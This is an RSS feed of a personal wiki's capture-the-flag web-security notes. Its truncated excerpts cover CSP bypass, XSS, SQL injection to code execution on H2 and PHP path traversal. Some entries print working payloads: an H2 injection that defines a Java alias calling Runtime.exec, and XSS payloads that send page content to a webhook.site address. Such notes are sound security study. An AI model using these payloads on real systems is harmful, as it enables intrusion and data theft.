<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.8" -->
<?xml-stylesheet href="http://abyss.osorin.net/lib/exe/css.php?s=feed" type="text/css"?>
<rdf:RDF
    xmlns="http://purl.org/rss/1.0/"
    xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel rdf:about="http://abyss.osorin.net/feed.php">
        <title>osorin&#039;s abyss</title>
        <description></description>
        <link>http://abyss.osorin.net/</link>
        <image rdf:resource="http://abyss.osorin.net/_media/wiki:logo.png" />
       <dc:date>2026-05-01T12:17:15+00:00</dc:date>
        <items>
            <rdf:Seq>
                <rdf:li rdf:resource="http://abyss.osorin.net/csp-bypass-custom-404?rev=1730452069&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/data-xss?rev=1730452044&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/dns-rebinding?rev=1724247942&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/easy-bash-jail?rev=1725219799&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/express-query-param?rev=1730452025&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/html-parsing-differential?rev=1728329873&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/http-pipelining?rev=1739142252&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/java-h2-sqli-rce?rev=1733178651&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/jinja-ssti?rev=1724379009&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/js-with-strict-waf?rev=1729040384&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/lfi-proc?rev=1724248834&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/localhost-only-bypass?rev=1728330758&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/parse-int?rev=1724247920&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/php-mime-spoofing?rev=1724248557&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/pydantic-jinja-ssti?rev=1733781780&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/python-format-string?rev=1728334651&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/sidebar?rev=1731604643&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/sni-spoof?rev=1724247864&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/sqli-no-commas?rev=1739143239&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/start?rev=1731947015&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/unsolved?rev=1724247157&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/xss-payloads?rev=1740013826&amp;do=diff"/>
            </rdf:Seq>
        </items>
    </channel>
    <image rdf:about="http://abyss.osorin.net/_media/wiki:logo.png">
        <title>osorin's abyss</title>
        <link>http://abyss.osorin.net/</link>
        <url>http://abyss.osorin.net/_media/wiki:logo.png</url>
    </image>
    <item rdf:about="http://abyss.osorin.net/csp-bypass-custom-404?rev=1730452069&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-11-01T09:07:49+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>csp-bypass-custom-404</title>
        <link>http://abyss.osorin.net/csp-bypass-custom-404?rev=1730452069&amp;do=diff</link>
        <description>Bypass CSP when a custom 404 page is present

With:


resp.headers[&#039;Content-Security-Policy&#039;] = &quot;script-src &#039;self&#039;;


And a custom 404 page like:


@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f&quot;{path} not found&quot;</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/data-xss?rev=1730452044&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-11-01T09:07:24+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>data-xss</title>
        <link>http://abyss.osorin.net/data-xss?rev=1730452044&amp;do=diff</link>
        <description>data URI scheme (+ XSS)

Lessons learned from Google Capture The Flag 2024: [WEB] sappy

On challenges where we need XSS and for example host is checked, we can do the following using data url schema:



let url = new URL(&quot;data://osorin.net/,&lt;script&gt;alert()&lt;/script&gt;&quot;);

fetch(url)
   .then(response =&gt; response.text())
   .then((response) =&gt; {
       console.log(response)
   })
   .catch(err =&gt; console.log(err));

console.log(url.host);</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/dns-rebinding?rev=1724247942&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-08-21T13:45:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>dns-rebinding</title>
        <link>http://abyss.osorin.net/dns-rebinding?rev=1724247942&amp;do=diff</link>
        <description>On DNS Rebinding

Clean enough Write-ups for DNS Rebinding.

&lt;https://blog.bi0s.in/2021/12/05/Web/Vulpixelize-HITCONCTF2021/&gt;

&lt;https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/&gt;

Useful tool/service:

&lt;https://github.com/taviso/rbndr&gt;</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/easy-bash-jail?rev=1725219799&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-09-01T19:43:19+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>easy-bash-jail</title>
        <link>http://abyss.osorin.net/easy-bash-jail?rev=1725219799&amp;do=diff</link>
        <description>Easy bash jail with strict restrictions


#!/usr/local/bin/python3 -u
import subprocess
import re


def restrict_input(command):
    pattern = re.compile(r&#039;[a-zA-Z*^\,,;\\!@/#?%`&quot;\&#039;&amp;()-+]|[^\x00-\x7F]&#039;)
    if pattern.search(command):
        raise ValueError(&quot;that&#039;s not nice!&quot;)
    return command


def execute_command(command):
    safe = restrict_input(command)
    result = subprocess.run(safe, stdout=True, shell=True)
    return result.stdout


print(&quot;Welcome to Baby PyBash!\n&quot;)
cmd = input(&quot;…</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/express-query-param?rev=1730452025&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-11-01T09:07:05+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>express-query-param</title>
        <link>http://abyss.osorin.net/express-query-param?rev=1730452025&amp;do=diff</link>
        <description>Express req.query Notes

Notes from HeroCTF 2024 SampleHub [WEB].

Given this code snippet:


process.chdir(path.join(__dirname, &quot;samples&quot;));
app.get(&quot;/download/:file&quot;, (req, res) =&gt; {
    const file = path.basename(req.params.file);
    console.log(typeof req.query.filename);
    res.download(file, req.query.filename || &quot;sample.png&quot;, (err) =&gt; {
        if (err) {
            res.status(404).send(`File &quot;${file}&quot; not found`);
        }
    });
});</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/html-parsing-differential?rev=1728329873&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-10-07T19:37:53+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>html-parsing-differential</title>
        <link>http://abyss.osorin.net/html-parsing-differential?rev=1728329873&amp;do=diff</link>
        <description>HTML Encoding Differentials

Lessons learned from SEKAI CTF 2024: [WEB] htmlsandbox

We want to create a parsing differential when the HTML is loaded incrementally (streamed) vs loaded inline (all at once)

The &lt;meta&gt; CSP tag should be present in the parsed</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/http-pipelining?rev=1739142252&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2025-02-09T23:04:12+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>http-pipelining</title>
        <link>http://abyss.osorin.net/http-pipelining?rev=1739142252&amp;do=diff</link>
        <description>HTTP Pipelining + HTTP/2 Single Packets

Lessons learned from LACTF 2025: [WEB] whats-my-number

TL;DR: Get enough Math.random values to crack with randcrack (V8). In order to “race” (not really) and get consecutive values, you must send your requests with http pipelining or http/2 single packets.</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/java-h2-sqli-rce?rev=1733178651&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-12-02T22:30:51+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>java-h2-sqli-rce</title>
        <link>http://abyss.osorin.net/java-h2-sqli-rce?rev=1733178651&amp;do=diff</link>
        <description>H2 SQL injection to RCE


http://localhost:1338/api/note?name=aa&#039;; 
CREATE ALIAS BOBOB AS &#039;String e(String cmd) throws java.io.IOException{ 
    try { 
        java.lang.Runtime rt = java.lang.Runtime.getRuntime(); 
        java.lang.Process proc = rt.exec(cmd); 
        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream())); 
        String line; 
        StringBuilder output = new StringBuilder(); 
        while ((line = reader.readLine…</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/jinja-ssti?rev=1724379009&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-08-23T02:10:09+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>jinja-ssti</title>
        <link>http://abyss.osorin.net/jinja-ssti?rev=1724379009&amp;do=diff</link>
        <description>When stuck on jinja/flask SSTI

Magic tool: &lt;https://github.com/Marven11/Fenjing&gt;

Sample filter bypassed:


invalid_chars = [&quot;{{&quot;, &quot;}}&quot;, &quot;.&quot;, &quot;_&quot;, &quot;[&quot;, &quot;]&quot;,&quot;\\&quot;]</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/js-with-strict-waf?rev=1729040384&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-10-16T00:59:44+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>js-with-strict-waf</title>
        <link>http://abyss.osorin.net/js-with-strict-waf?rev=1729040384&amp;do=diff</link>
        <description>TCP1P Multiplication

Lessons learned from TCP1P CTF 2024: Multiplication [WEB]


&lt;?php
    error_reporting(0);
    header(&quot;Content-Security-Policy: script-src &#039;self&#039; &#039;unsafe-inline&#039;;&quot;);
    $digit = $_GET[&#039;digit&#039;];
    if ((int) $digit) {
        $forbiddenChars = array(&#039;&lt;&#039;, &#039;&gt;&#039;, &#039;`&#039;, &#039;~&#039;, &#039;(&#039; , &#039;)&#039;, &#039;,&#039;, &#039;+&#039;, &#039;-&#039;, &#039;/&#039;, &#039;*&#039;, &#039;%&#039;, &#039;^&#039;, &#039;|&#039;, &#039;&amp;&#039;, &#039;!&#039;, &#039;?&#039;, &#039;:&#039;, &#039;;&#039;, &#039;.&#039;);

        foreach ($forbiddenChars as $char) {
            if (strpos($digit, $char) !== false) {
                http_response…</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/lfi-proc?rev=1724248834&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-08-21T14:00:34+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>lfi-proc</title>
        <link>http://abyss.osorin.net/lfi-proc?rev=1724248834&amp;do=diff</link>
        <description>LFI using proc.

Random fact learned from DownUnder CTF 2024: [WEB] hah got em

LFI is possible from context: /proc/self/root


file:///proc/7/root/etc/flag.txt</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/localhost-only-bypass?rev=1728330758&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-10-07T19:52:38+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>localhost-only-bypass</title>
        <link>http://abyss.osorin.net/localhost-only-bypass?rev=1728330758&amp;do=diff</link>
        <description>Headers for localhost bypass

Headers worth trying for (probably) unintended bypasses:

&lt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded&gt;

&lt;https://learn.microsoft.com/en-us/answers/questions/1290318/azure-application-gateway-adds-6-additional-header&gt;

&lt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host&gt;</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/parse-int?rev=1724247920&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-08-21T13:45:20+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>parse-int</title>
        <link>http://abyss.osorin.net/parse-int?rev=1724247920&amp;do=diff</link>
        <description>parseInt() in JS

Reminder for parseInt() function behavior.


parseInt(&#039;7/../../something&#039;) 


Results in:


7</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/php-mime-spoofing?rev=1724248557&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-08-21T13:55:57+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>php-mime-spoofing</title>
        <link>http://abyss.osorin.net/php-mime-spoofing?rev=1724248557&amp;do=diff</link>
        <description>Mime Spoofing + php

Lessons learned from DownUnder CTF 2024: [WEB] sniffy


import requests

cookies = {
	&#039;PHPSESSID&#039;: &#039;abcd&#039;
}

for i in range(4):
	r = requests.get(&#039;http://localhost:8080/&#039;, params={&#039;theme&#039;: &#039;a&#039; * i + &#039;M.K.&#039; * 300}, cookies=cookies)
	r = requests.get(&#039;http://localhost:8080/audio.php&#039;, params={&#039;f&#039;: &#039;../../../../tmp/sess_abcd&#039;})
	if r.status_code != 403:
		print(&#039;found&#039;)
		print(r.text)</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/pydantic-jinja-ssti?rev=1733781780&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-12-09T22:03:00+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>pydantic-jinja-ssti</title>
        <link>http://abyss.osorin.net/pydantic-jinja-ssti?rev=1733781780&amp;do=diff</link>
        <description>Pydantic email validator + jinja ssti


class EmailModel(BaseModel):
    email: EmailStr

@app.route(&#039;/render&#039;, methods=[&#039;POST&#039;])
def render_email():
    email = request.form.get(&#039;email&#039;)

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template(&#039;mail.html&#039;, error=&quot;Invalid email format.&quot;)</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/python-format-string?rev=1728334651&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-10-07T20:57:31+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>python-format-string</title>
        <link>http://abyss.osorin.net/python-format-string?rev=1728334651&amp;do=diff</link>
        <description>Python format string


CONFIG = {
    &#039;SECRET_KEY&#039;: &#039;super secret key&#039;
}

class Event(object):
    def __init__(self, id, level, message):
        self.id = id
        self.level = level
        self.message = message

def format_event(format_string, event):
    return format_string.format(event=event)</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/sidebar?rev=1731604643&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-11-14T17:17:23+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>sidebar</title>
        <link>http://abyss.osorin.net/sidebar?rev=1731604643&amp;do=diff</link>
        <description>CTF notes:

	* Bypass CSP when a custom 404 page is present
	* data URI scheme (+ XSS)
	* Easy bash jail with strict restrictions
	* Express req.query Notes
	* H2 SQL injection to RCE
	* Headers for localhost bypass
	* HTML Encoding Differentials
	* HTTP Pipelining + HTTP/2 Single Packets
	* LFI using proc.
	* Mime Spoofing + php
	* On DNS Rebinding
	* parseInt() in JS
	* Pydantic email validator + jinja ssti
	* Python format string
	* SNI Spoofing
	* SQLi No Commas
	* TCP1P Multiplication
	* Wh…</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/sni-spoof?rev=1724247864&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-08-21T13:44:24+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>sni-spoof</title>
        <link>http://abyss.osorin.net/sni-spoof?rev=1724247864&amp;do=diff</link>
        <description>SNI Spoofing

Lessons learned from CTFZone CTF 2024: [WEB] youtube-unlock

SNI, or Server Name Indication, is an addition to the TLS encryption protocol that enables a client device to specify the domain name it is trying to reach in the first step of the TLS handshake, preventing common name mismatch errors.</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/sqli-no-commas?rev=1739143239&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2025-02-09T23:20:39+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>sqli-no-commas</title>
        <link>http://abyss.osorin.net/sqli-no-commas?rev=1739143239&amp;do=diff</link>
        <description>SQLi No Commas

Lessons learned from nullconctf 2025: [WEB] paginator v2

Basically sqli without commas: &lt;https://www.sidechannel.blog/en/sql-injection-there-was-a-comma-halfway/&gt;
&lt;https://mindcrafters.xyz/writeups/nullconctf-2025-web/&gt;</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/start?rev=1731947015&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-11-18T16:23:35+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>start</title>
        <link>http://abyss.osorin.net/start?rev=1731947015&amp;do=diff</link>
        <description>Wiki under development (possibly forever? :-?)</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/unsolved?rev=1724247157&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-08-21T13:32:37+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>unsolved</title>
        <link>http://abyss.osorin.net/unsolved?rev=1724247157&amp;do=diff</link>
        <description>Zip Slip + Absolute Paths

Lessons learned from TheHackersCrew CTF 2024: [WEB] niceview1 

	*  Zip Slip is possible with absolute paths (challenge filtered double dots).


payload = f&quot;&quot;&quot;
&lt;%inc #include &quot;{rs}_util.json&quot; %&gt;
{{% goflag() %}}
&quot;&quot;&quot;

payload2 = &quot;&quot;&quot;
#include &lt;fstream&gt;
std::string goflag() {
    std::ifstream fin(&quot;/app/flag.txt&quot;);
    std::string line;
    std::getline(fin, line);
    return line;
}
&quot;&quot;&quot;

zf = io.BytesIO()

with zipfile.ZipFile(zf, &#039;w&#039;) as myzip:
    myzip.writestr(f&#039;/app…</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/xss-payloads?rev=1740013826&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2025-02-20T01:10:26+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>xss-payloads</title>
        <link>http://abyss.osorin.net/xss-payloads?rev=1740013826&amp;do=diff</link>
        <description>XSS Payloads LACTF

Some payloads from LACTF 2025: [WEB] purell

&lt;https://github.com/uclaacm/lactf-archive/blob/main/2025/web/purell/payloads.txt&gt;


&lt;script&gt;
 fetch(&#039;https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=&#039;+encodeURIComponent(document.body.innerHTML))
&lt;/script&gt;

&lt;img src=/f onerror=fetch(&#039;https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=&#039;+encodeURIComponent(document.body.innerHTML))&gt;

&lt;SCRIPT&gt;
 fetch(&#039;https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=&#039;+e…</description>
    </item>
</rdf:RDF>
